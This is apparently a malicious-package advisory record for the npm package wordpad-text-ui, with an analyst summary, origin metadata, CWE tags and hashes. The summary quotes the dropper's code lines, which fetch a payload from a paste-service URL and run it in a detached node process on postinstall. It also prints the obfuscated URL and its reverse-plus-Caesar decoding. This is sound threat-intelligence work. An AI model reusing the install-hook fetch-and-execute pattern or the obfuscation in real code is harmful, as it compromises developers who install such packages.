-= Per source details. Do not edit below this line.=-
On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL (stored as DEV_API_KEY="S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk" in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to https://www.jsonkeeper.com/b/7EBZP), HTTP-GETs the response via axios, and writes the body into the stdin of a detached node child process for execution (main.js lines 18-23: const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading DEV_API_KEY name (an evasion tactic against static scanners); the package's name (wordpad-text-ui) implies a text-editor UI library but index.js only errors out telling consumers not to require it, while bootstrap.js, bundle.js, and publish.js are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package richtext-editor-ui that propagates the same campaign.
{
"malicious-packages-origins": [
{
"sha256": "0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad",
"source": "amazon-inspector",
"modified_time": "2026-06-16T14:02:27Z",
"versions": [
"1.0.0"
],
"id": "IN-MAL-2026-006749",
"import_time": "2026-06-16T14:19:04.049256274Z"
},
{
"sha256": "681509192438fabdba9f587c9d5316fd82fbe1093455b0a66e6585c765407e5e",
"source": "amazon-inspector",
"modified_time": "2026-06-16T14:02:23Z",
"versions": [
"1.0.1"
],
"id": "IN-MAL-2026-006748",
"import_time": "2026-06-16T14:19:03.923214289Z"
}
]
}[
{
"name": "Embedded Malicious Code",
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506"
},
{
"name": "Embedded Malicious Code",
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506"
}
]
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/wordpad-text-ui/MAL-2026-5885.json"
{
"evidence_files": [
{
"sha256": "db88a6e0dd89c9bc9e00db11fe9323c7b24208e6f64c5abf83c2428fa4c240ef",
"tlsh": "7a019c5e321b63795f728bd59a338539892a8030f242e5d4b68920872f83f09028ffdd",
"path": "main.js"
},
{
"sha256": "4380bf423aba0fd96b6f98895f831256f70aca5606abf77ccd3607a8bb62a484",
"tlsh": "8e219824e8e2aca317d591b93c3d42532191d9178a4bfc0cb7a6035c8f1c23f92f926d",
"path": "package.json"
}
],
"package_integrity": [
{
"hashes": {
"sha512_sri": "sha512-f2v3X45bojtAht+kKIlfkSZ4sIT8oZnK/Gma1QzfwWNeSlx9FdWHdxnBGRYF5B6mq+zJZXe0frbtCFDfhBeeNA==",
"sha1": "8fceb3dec5949b74670cf61f6b7ff539d8a05b81"
},
"filename": "wordpad-text-ui-1.0.0.tgz"
}
]
}